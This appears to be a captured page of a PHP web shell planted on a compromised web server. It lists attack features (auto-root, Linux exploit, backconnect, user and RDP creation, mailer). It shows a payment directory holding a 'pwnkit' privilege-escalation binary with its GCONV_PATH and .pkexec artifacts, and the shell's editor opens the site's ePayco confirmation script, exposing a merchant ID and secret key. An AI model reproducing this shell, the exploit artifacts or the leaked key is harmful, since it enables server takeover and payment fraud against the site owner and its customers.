Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
ePayco /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.htaccess
197
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
archivo.txt
764
B
-rwxrwxrwx
confirmation.php
13.06
KB
-rwxrwxrwx
dbconfig.php
1.74
KB
-rwxrwxrwx
error_log
2.65
KB
-rwxrwxrwx
logo.png
4.62
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
response.html
5.56
KB
-rwxrwxrwx
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : confirmation.php
<?php /*En esta página se reciben las variables enviadas desde ePayco hacia el servidor. Antes de realizar cualquier movimiento en base de datos se deben comprobar algunos valores Es muy importante comprobar la firma enviada desde ePayco Ingresar el valor de p_cust_id_cliente lo encuentras en la configuración de tu cuenta ePayco Ingresar el valor de p_key lo encuentras en la configuración de tu cuenta ePayco */ $p_cust_id_cliente='83709'; $p_key='75b30fc96218d7df7bbc08a2847f9f75ff98df89'; $x_ref_payco=$_REQUEST['x_ref_payco']; $x_transaction_id=$_REQUEST['x_transaction_id']; $x_amount=$_REQUEST['x_amount']; $x_currency_code=$_REQUEST['x_currency_code']; $x_signature=$_REQUEST['x_signature']; $x_fecha=$_REQUEST['x_transaction_date']; $x_banco=$_REQUEST['x_bank_name']; $x_numeroDocumento=$_REQUEST['x_customer_document']; $x_extra1=$_REQUEST['x_extra1']; $x_Token=$_REQUEST['x_extra2']; $x_CodigoAprobacion=$_REQUEST['x_approval_code']; $x_CodigoRespuesta=$_REQUEST['x_cod_respuesta']; $x_Respuesta=$_REQUEST['x_response']; $x_CodigoEstadoTransaccion=$_REQUEST['x_cod_transaction_state']; $x_CodigoMoneda=$_REQUEST['x_currency_code']; $x_Email=$_REQUEST['x_customer_email']; $x_DescripcionRespuesta=$_REQUEST['x_response_reason_text']; $x_CodigoErrorTransaccion=$_REQUEST['x_errorcode']; $x_EstadoTransaccion=$_REQUEST['x_transaction_state']; $x_TipoDocumentoTarjeta=$_REQUEST['x_customer_doctype']; $x_NombreTarjeta=$_REQUEST['x_customer_name']; $x_Descripcion=$_REQUEST['x_description']; $x_NumeroTransaccion=$_REQUEST['x_transaction_id']; $x_NumeroReferencia=$_REQUEST['x_ref_payco']; $signature=hash('sha256', $p_cust_id_cliente.'^' .$p_key.'^' .$x_ref_payco.'^' .$x_transaction_id.'^' .$x_amount.'^' .$x_currency_code ); $x_response=$_REQUEST['x_response']; $x_motivo=$_REQUEST['x_response_reason_text']; $x_id_invoice=$_REQUEST['x_id_invoice']; $x_autorizacion=$_REQUEST['x_approval_code']; $contenido = 'Cedula: '.$x_numeroDocumento.', Referencia: '.$x_ref_payco.', Fecha: '.$x_fecha.', Respuesta: '.$x_response.', Motivo: '.$x_motivo.', Banco: '.$x_banco. ', Monto: '.$x_amount.' '.$x_currency_code.', Factura: '.$x_id_invoice; //Validamos la firma if($x_signature==$signature){ /*Si la firma esta bien podemos verificar los estado de la transacción*/ $x_cod_response=$_REQUEST['x_cod_response']; switch ((int)$x_cod_response) { case 1: $persona = [ "Nombre" => $x_NombreTarjeta, "Descripcion" => $x_Descripcion, "NumeroTransaccion" => $x_NumeroTransaccion, "NumeroReferencia" => $x_NumeroReferencia, "CodigoErrorTransaccion" => $x_CodigoErrorTransaccion, "EstadoTransaccion" => $x_EstadoTransaccion, "TipoDocumentoTarjeta" => $x_TipoDocumentoTarjeta, "NombreTarjeta" => $x_NombreTarjeta, "CodigoMoneda" => $x_CodigoMoneda, "Email" => $x_Email, "DescripcionRespuesta" => $x_DescripcionRespuesta, "CodigoRespuesta" => $x_CodigoRespuesta, "Respuesta" => $x_Respuesta, "CodigoEstadoTransaccion" => $x_CodigoEstadoTransaccion, "CodigoAprobacion" => $x_CodigoAprobacion, "FechaTransaccion" => $x_fecha, "Banco" => $x_banco, "TokenTransaccion" => $x_Token, "NumeroDocumento" => $x_numeroDocumento, "Monto" => $x_amount, "IdUsuario" => $x_extra1, ]; //API URL $url = 'https://inselect.insepet.com:4455/api/PostUpdateCustomerBalance'; $datosCodificados = json_encode($persona); //print $datosCodificados; $ch = curl_init($url); curl_setopt_array($ch, array( // Indicar que vamos a hacer una petición POST CURLOPT_CUSTOMREQUEST => "POST", // Justo aquí ponemos los datos dentro del cuerpo CURLOPT_POSTFIELDS => $datosCodificados, // Encabezados //CURLOPT_HEADER => true, CURLOPT_HTTPHEADER => array( 'Content-Type: application/json', 'Content-Length: ' . strlen($datosCodificados), // Abajo podríamos agregar más encabezados 'Personalizado: ¡Saldo!', # Un encabezado personalizado ), # indicar que regrese los datos, no que los imprima directamente CURLOPT_RETURNTRANSFER => true, )); # Hora de hacer la petición $resultado = curl_exec($ch); # Vemos si el código es 200, es decir, HTTP_OK $codigoRespuesta = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($codigoRespuesta === 200){ # Decodificar JSON porque esa es la respuesta $respuestaDecodificada = json_decode($resultado); }else{ # Error echo "Error consultando. Código de respuesta: $codigoRespuesta"; } curl_close($ch); # code transacción aceptada //echo "transacción aceptada"; break; case 2: $persona = [ "Nombre" => $x_NombreTarjeta, "Descripcion" => $x_Descripcion, "NumeroTransaccion" => $x_NumeroTransaccion, "NumeroReferencia" => $x_NumeroReferencia, "CodigoErrorTransaccion" => $x_CodigoErrorTransaccion, "EstadoTransaccion" => $x_EstadoTransaccion, "TipoDocumentoTarjeta" => $x_TipoDocumentoTarjeta, "NombreTarjeta" => $x_NombreTarjeta, "CodigoMoneda" => $x_CodigoMoneda, "Email" => $x_Email, "DescripcionRespuesta" => $x_DescripcionRespuesta, "CodigoRespuesta" => $x_CodigoRespuesta, "Respuesta" => $x_Respuesta, "CodigoEstadoTransaccion" => $x_CodigoEstadoTransaccion, "CodigoAprobacion" => $x_CodigoAprobacion, "FechaTransaccion" => $x_fecha, "Banco" => $x_banco, "TokenTransaccion" => $x_Token, "NumeroDocumento" => $x_numeroDocumento, "Monto" => $x_amount, "IdUsuario" => $x_extra1, ]; //API URL $url = 'https://inselect.insepet.com:4455/api/PostUpdateCustomerBalance'; $datosCodificados = json_encode($persona); //print $datosCodificados; $ch = curl_init($url); curl_setopt_array($ch, array( // Indicar que vamos a hacer una petición POST CURLOPT_CUSTOMREQUEST => "POST", // Justo aquí ponemos los datos dentro del cuerpo CURLOPT_POSTFIELDS => $datosCodificados, // Encabezados //CURLOPT_HEADER => true, CURLOPT_HTTPHEADER => array( 'Content-Type: application/json', 'Content-Length: ' . strlen($datosCodificados), // Abajo podríamos agregar más encabezados 'Personalizado: ¡Saldo!', # Un encabezado personalizado ), # indicar que regrese los datos, no que los imprima directamente CURLOPT_RETURNTRANSFER => true, )); # Hora de hacer la petición $resultado = curl_exec($ch); # Vemos si el código es 200, es decir, HTTP_OK $codigoRespuesta = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($codigoRespuesta === 200){ # Decodificar JSON porque esa es la respuesta $respuestaDecodificada = json_decode($resultado); }else{ # Error echo "Error consultando. Código de respuesta: $codigoRespuesta"; } curl_close($ch); break; case 3: $persona = [ "Nombre" => $x_NombreTarjeta, "Descripcion" => $x_Descripcion, "NumeroTransaccion" => $x_NumeroTransaccion, "NumeroReferencia" => $x_NumeroReferencia, "CodigoErrorTransaccion" => $x_CodigoErrorTransaccion, "EstadoTransaccion" => $x_EstadoTransaccion, "TipoDocumentoTarjeta" => $x_TipoDocumentoTarjeta, "NombreTarjeta" => $x_NombreTarjeta, "CodigoMoneda" => $x_CodigoMoneda, "Email" => $x_Email, "DescripcionRespuesta" => $x_DescripcionRespuesta, "CodigoRespuesta" => $x_CodigoRespuesta, "Respuesta" => $x_Respuesta, "CodigoEstadoTransaccion" => $x_CodigoEstadoTransaccion, "CodigoAprobacion" => $x_CodigoAprobacion, "FechaTransaccion" => $x_fecha, "Banco" => $x_banco, "TokenTransaccion" => $x_Token, "NumeroDocumento" => $x_numeroDocumento, "Monto" => $x_amount, "IdUsuario" => $x_extra1, ]; //API URL $url = 'https://inselect.insepet.com:4455/api/PostUpdateCustomerBalance'; $datosCodificados = json_encode($persona); //print $datosCodificados; $ch = curl_init($url); curl_setopt_array($ch, array( // Indicar que vamos a hacer una petición POST CURLOPT_CUSTOMREQUEST => "POST", // Justo aquí ponemos los datos dentro del cuerpo CURLOPT_POSTFIELDS => $datosCodificados, // Encabezados //CURLOPT_HEADER => true, CURLOPT_HTTPHEADER => array( 'Content-Type: application/json', 'Content-Length: ' . strlen($datosCodificados), // Abajo podríamos agregar más encabezados 'Personalizado: ¡Saldo!', # Un encabezado personalizado ), # indicar que regrese los datos, no que los imprima directamente CURLOPT_RETURNTRANSFER => true, )); # Hora de hacer la petición $resultado = curl_exec($ch); # Vemos si el código es 200, es decir, HTTP_OK $codigoRespuesta = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($codigoRespuesta === 200){ # Decodificar JSON porque esa es la respuesta $respuestaDecodificada = json_decode($resultado); }else{ # Error echo "Error consultando. Código de respuesta: $codigoRespuesta"; } curl_close($ch); # code transacción pendiente break; case 4: $persona = [ "Nombre" => $x_NombreTarjeta, "Descripcion" => $x_Descripcion, "NumeroTransaccion" => $x_NumeroTransaccion, "NumeroReferencia" => $x_NumeroReferencia, "CodigoErrorTransaccion" => $x_CodigoErrorTransaccion, "EstadoTransaccion" => $x_EstadoTransaccion, "TipoDocumentoTarjeta" => $x_TipoDocumentoTarjeta, "NombreTarjeta" => $x_NombreTarjeta, "CodigoMoneda" => $x_CodigoMoneda, "Email" => $x_Email, "DescripcionRespuesta" => $x_DescripcionRespuesta, "CodigoRespuesta" => $x_CodigoRespuesta, "Respuesta" => $x_Respuesta, "CodigoEstadoTransaccion" => $x_CodigoEstadoTransaccion, "CodigoAprobacion" => $x_CodigoAprobacion, "FechaTransaccion" => $x_fecha, "Banco" => $x_banco, "TokenTransaccion" => $x_Token, "NumeroDocumento" => $x_numeroDocumento, "Monto" => $x_amount, "IdUsuario" => $x_extra1, ]; //API URL $url = 'https://inselect.insepet.com:4455/api/PostUpdateCustomerBalance'; $datosCodificados = json_encode($persona); //print $datosCodificados; $ch = curl_init($url); curl_setopt_array($ch, array( // Indicar que vamos a hacer una petición POST CURLOPT_CUSTOMREQUEST => "POST", // Justo aquí ponemos los datos dentro del cuerpo CURLOPT_POSTFIELDS => $datosCodificados, // Encabezados //CURLOPT_HEADER => true, CURLOPT_HTTPHEADER => array( 'Content-Type: application/json', 'Content-Length: ' . strlen($datosCodificados), // Abajo podríamos agregar más encabezados 'Personalizado: ¡Saldo!', # Un encabezado personalizado ), # indicar que regrese los datos, no que los imprima directamente CURLOPT_RETURNTRANSFER => true, )); # Hora de hacer la petición $resultado = curl_exec($ch); # Vemos si el código es 200, es decir, HTTP_OK $codigoRespuesta = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($codigoRespuesta === 200){ # Decodificar JSON porque esa es la respuesta $respuestaDecodificada = json_decode($resultado); }else{ # Error echo "Error consultando. Código de respuesta: $codigoRespuesta"; } curl_close($ch); break; } }else{ die("Firma no valida"); } ?>
Close